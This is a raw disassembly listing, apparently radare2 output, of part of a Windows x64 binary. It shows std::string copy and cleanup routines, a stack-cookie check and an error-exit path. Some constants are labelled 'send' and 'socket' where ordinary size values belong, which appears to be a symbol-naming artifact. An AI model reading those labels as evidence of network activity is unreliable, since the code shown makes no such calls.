shl rbx, 5
add rbx, r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rsi
mov r14, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14007c08c
mov rbx, qword [rbx]
movabs rcx, 0x7fffffffffffffff
cmp r14, rcx
ja 0x14007c385
cmp r14, 0xf
ja 0x14007c0c3
mov qword [rbp - 0x18], r14
mov ecx, send
mov qword [rbp - 0x10], rcx
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x28], xmm0
movq rsi, xmm0
jmp 0x14007c168
mov rax, r14
or rax, 0xf
cmp rax, rcx
jbe 0x14007c101
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400b7ae4
test rax, rax
je 0x14007c1bc
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rdx, qword [rsp + 0x48]
jmp 0x14007c148
mov rdx, rax
mov ecx, socket
cmp rax, rcx
cmovb rdx, rcx
mov qword [rsp + 0x48], rdx
lea rcx, [rdx + 1]
cmp rcx, 0x1000
jb 0x14007c131
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14007c38b
jmp 0x14007c0dd
test rcx, rcx
je 0x14007c143
call fcn.1400b7ae4
mov rsi, rax
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x48], rdx
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], rdx
lea r8, [r14 + 1]
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x48]
lea rdx, [rbp - 0x28]
cmp rcx, 0xf
cmova rdx, rsi
mov r8, r14
lea rcx, [0x1401b3b58]
call fcn.1400ab320
mov byte [0x140190c86], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14007c1c9
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c1c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007c1c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x14007c205
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c1ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c341
call fcn.1400b7700
nop
test r12, r12
je 0x14007c24e
mov rdx, rdi
mov rcx, r12
call fcn.1400ae630
sub r15, r12
and r15, 0xffffffffffffffe0
mov rax, r12
cmp r15, 0x1000
jb 0x14007c242
add r15, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c348
mov rdx, r15
mov rcx, r12
call fcn.1400b7700
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x14007c289
inc rdx
mov rax, r13
cmp rdx, 0x1000
jb 0x14007c280
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c34f
mov rcx, r13
call fcn.1400b7700
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14007c2c5
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c2c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c356
call fcn.1400b7700
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14007c311
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c30c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c35d
call fcn.1400b7700
mov rcx, qword [rbp + 0x138]
xor rcx, rsp
call fcn.1400b7380
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str._ERROR__2__Exiting_with_code_0_
lea rcx, [rbp + 0x58]
call fcn.14006a430
mov rcx, rax
call fcn.14006af60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400643c0
int3
call fcn.140064230
nop
call fcn.1400643c0
nop
call fcn.1400643c0
int3
call fcn.1400643c0
int3